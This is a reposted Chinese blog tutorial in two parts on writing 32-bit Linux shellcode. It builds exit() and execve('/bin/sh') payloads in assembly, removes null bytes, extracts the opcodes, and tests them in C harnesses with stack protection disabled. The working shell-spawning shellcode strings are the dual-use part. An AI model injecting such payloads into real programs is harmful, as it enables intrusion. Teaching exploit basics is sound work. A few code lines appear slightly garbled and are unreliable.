Linux下shellcode的编写

Linux下shellcode的编写

来源  https://xz.aliyun.com/t/2052

EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技术文章

 

0x01 理解系统调用

shellcode是一组可注入的指令,可以在被攻击的程序中运行。由于shellcode要直接操作寄存器和函数,所以必须是十六进制的形式。
那么为什么要写shellcode呢?因为我们要让目标程序以不同于设计者预期的方式运行,而操作的程序的方法之一就是强制它产生系统调用(system,call,syscall)。通过系统调用,你可以直接访问系统内核。
在Linux里有两个方法来执行系统调用,间接的方法是c函数包装(libc),直接的方法是用汇编指令(通过把适当的参数加载到寄存器,然后调用int 0x80软中断)

废话不多说,我们先来看看最常见的系统调用exit(),就是终止当前进程。

(注:本文测试系统是ubuntu-17.04 x86)

int main(void)
{
    exit(0);
}

(编译时使用static选项,防止使用动态链接,在程序里保留exit系统调用代码)
gcc -static -o exit exit.c

用gdb反汇编生成的二进制文件:

_exit+0行是把系统调用的参数加载到ebx。
_exit+4和_exit+15行是把对应的系统调用编号分别被复制到eax。
最后的int 0x80指令把cpu切换到内核模式,并执行我们的系统调用。

0x02 为exit()系统调用写shellcode

在基本了解了一下exit()系统调用后,就可以开始写shellcode了~
要注意的是我们的shellcode应该尽量地简洁紧凑,这样才能注入更小的缓冲区(当你遇到n字节长的缓冲区时,你不仅要把整个shellcode复制到缓冲区,还要加上调用shellcode的指令,所以shellcode必须比n小)。
在实际环境中,shellcode将在没有其他指令为它设置参数的情况下执行,所以我们必须自己设置参数。这里我们先通过将0放入ebx中的方法来设置参数。
步骤大概是:

  • 把0存到ebx
  • 把1存到eax
  • 执行int 0x80指令来产生系统调用

根据这三个步骤来写汇编指令:

Section .text
        global _start
_start:
        mov ebx, 0
        mov ax, 1
        int 0x80

然后用nasm编译,生成目标文件,再用gun ld来连接:

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

然后objdump就能显示相应的opcode了:

看起来好像是成功了。但是很遗憾,这个shellcode在实际攻击中可能会无法使用。
可以看到,这串shellcode中还有一些NULL(\x00)字符,当我们把shellcode复制到缓冲区时,有时候会出现异常(因为字符数组用null做终止符)。要编写真正有用的shellcode我们还要想办法把\x00消去。

首先我们看第一条指令(mov ebx, 0)将0放入ebx中。熟悉汇编的话就会知道,xor指令在操作数相等的情况下返回0,也就是可以在指令里不使用0,但是结果返回0,那么我们就可以用xor来代替mov指令了。
mov ebx, 0 --> xor ebx, ebx

再看第二条指令(mov ax, 1)为什么这条指令也会有null呢?我们知道,eax是32位(4个字节)的寄存器,而我们只复制了1个字节到了寄存器,而剩下的部分,系统会自动用null填充。熟悉eax组成的就知道,eax分为两个16位区域,用ax可以访问第一个区域,而ax又分为al和ah两个区域。那么解决方法就是只要把1复制到al就行了。
mov eax, 1 --> mov al, 1
至此,我们已经将所有的null都清除了。

Section .text
        global _start
_start:
        xor ebx, ebx
        mov al, 1
        int 0x80

嗯,已经没有\x00了。接下来就可以编写个c程序来测试这个shellcode了。

char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";
int main(void)
{
    int *ret;
    ret = (int *)&ret + 2;
    (&ret) = (int)shellcode;
}

编译后用strace来查看系统调用:

 

0x03 编写execve()的shellcode

exit()可能没什么意思,接下来我们做点更有趣的事情-派生root shell-控制整个目标系统。
在Linux里,有两种方法创建新进程:一是通过现有的进程来创建,并替换正在活动的;二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。而execve()系统调用就可以在现有的进程空间里执行其他的进程。
接下来我们开始一步步写execve的shellcode:

1.查找execve的系统调用号码:

 


可以在如图的系统目录中找到execve的系统调用号码:11

2.接下来我们需要知道它作为输入的参数,用man手册就可以查看:

 

3个参数必须包含以下内容:

  • filename必须指向包含要执行的二进制文件的路径的字符串。在这个栗子中,就是字符串[/ bin / sh]。
  • argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行“/ bin / sh”,而没有任何更多的参数,所以参数列表只是一个NULL指针。但是,按照惯例,第一个参数是我们要执行的文件名。所以,argv []就是['/ bin / sh',00000000]
  • envp []是要以key:value格式传递给程序的任何其他环境选项的列表。为了我们的目的,这将是NULL指针\0x00000000

3.和exit()一样,我们使用int 0x80的系统调用。注意要在eax中包含execve的系统调用号“11”。

4.接下来就可以开始编写shellcode了,节约时间,我在这直接放上写好的shellcode并加上了注释:

需要解释的是向堆栈中反向推送//bin/sh。我们知道在x86堆栈中是从高地址到低地址的,所以要输入反向的字符串。同样,使用为4的倍数的最短指令会更容易些。
而/bin/sh是7个字节,怎么把它变成8个字节呢?很简单,加个/就ok了。因为在Linux中,多几个/都不会有问题的,像这样:p

然后用python来生成hs/nib//的十六进制吧:

然后将它们入栈就好。其他的看注释应该都能懂,就不多说了。

5.编译运行成功后用objdump查看:

这里分享一个方便提取shellcode的指令,来源

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

6.shellcode已经提取成功了,接下来用c程序来验证一下:

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
  printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

编译运行
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

成功:D

0x04 参考链接

http://www.vividmachines.com/shellcode/shellcode.html
http://www.cnblogs.com/feisky/archive/2009/10/23/1588737.html

 

-------------------------------------------------------

Linux 下一个简单的shellcode编写

来源 https://www.cnblogs.com/elvirangel/p/6974580.html

 

0x00 前言

 漏洞利用中必不可缺的部分就是shellcode,不会编写shellcode和咸鱼有什么区别,跳出咸鱼第一步。

0x01 系统调用

 通过系统调用execve函数返回shell

1
2
3
4
5
6
7
8
C语言实现: #include<unistd.h>
#include<stdlib.h>
char  * buf []  =  { "/bin/sh" ,NULL};
int main(void)
{
           execve( "/bin/sh" ,buf, 0 );
           exit( 0 );
}

execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。

1
2
3
编译运行,获得shell   $ . / shellcode
$ whoami
elvirangel

32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数

这里execve函数系统调用号为11,图中也给出了对应寄存器中保存的参数值

0x02 汇编形式编写shellcode

1. Int 0x80软中断

int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数

2. 开始编写shellcode

1
2
3
4
5
6
7
8
9
10
11
global  _start
_start:
mov eax, 0  ;eax置 0
mov edx, 0  ;edx置 0
push edx
push  "/sh"
push  "/bin"   ;将 / bin / sh存入栈中
mov ebx,esp  ;ebx指向 / bin / sh字符串
xor eax,eax
mov al, 0Bh    ;eax置为execve函数中断号
int  80h

保存为shellcode.asm,通过编译链接,然后运行,获得shell

1
2
3
4
elvirangel@elvirangel - virtual - machine:~ / DIY$ nasm  - f elf32 shellcode.asm
elvirangel@elvirangel - virtual - machine:~ / DIY$ ld  - m elf_i386  - o shellcode shellcode.o
elvirangel@elvirangel - virtual - machine:~ / DIY$ . / 001
$ whoami<br>elvirangel

获得机器码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ objdump  - d shellcode
shellcode:      file  format  elf32 - i386
Disassembly of section .text:
 
08048060  <_start>:
  8048060 :   b8  00  00  00  00           mov    $ 0x0 , % eax
  8048065 :   ba  00  00  00  00           mov    $ 0x0 , % edx
  804806a :    52                       push    % edx
  804806b :    68  2f  73  68  00           push   $ 0x68732f
  8048070 :    68  2f  62  69  6e           push   $ 0x6e69622f
  8048075 :    89  e3                   mov     % esp, % ebx
  8048077 :    31  c0                   xor     % eax, % eax
  8048079 :   b0  0b                    mov    $ 0xb , % al
  804807b :   cd  80                    int     $ 0x80

发现机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序

1
2
3
4
5
6
7
8
9
10
11
global  _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push  "//sh"
push  "/bin"
mov ebx,esp
xor eax,eax
mov al, 0Bh
int  80h

编译链接运行,得到机器码

1
2
3
4
5
6
7
8
9
10
11
12
13
$ objdump  - d . / shellcode
. / shellcode:      file  format  elf32 - i386
Disassembly of section .text:
  08048060  <_start>:
  8048060 :    31  c9                   xor     % ecx, % ecx
  8048062 :    31  d2                   xor     % edx, % edx
  8048064 :    52                       push    % edx
  8048065 :    68  2f  2f  73  68           push   $ 0x68732f2f
  804806a :    68  2f  62  69  6e           push   $ 0x6e69622f
  804806f :    89  e3                   mov     % esp, % ebx
  8048071 :    31  c0                   xor     % eax, % eax
  8048073 :   b0  0b                    mov    $ 0xb , % al
  8048075 :   cd  80                    int     $ 0x80

没有出现/x00字节,得到最终的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

0x03 后记

刚接触,很多细节没有讨论,详情请看参考链接

0x04 参考

手把手简易实现shellcode及详解

Linux shellcode 编写入门

 

================ End

 

转载于:https://www.cnblogs.com/lsgxeva/p/10794331.html

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值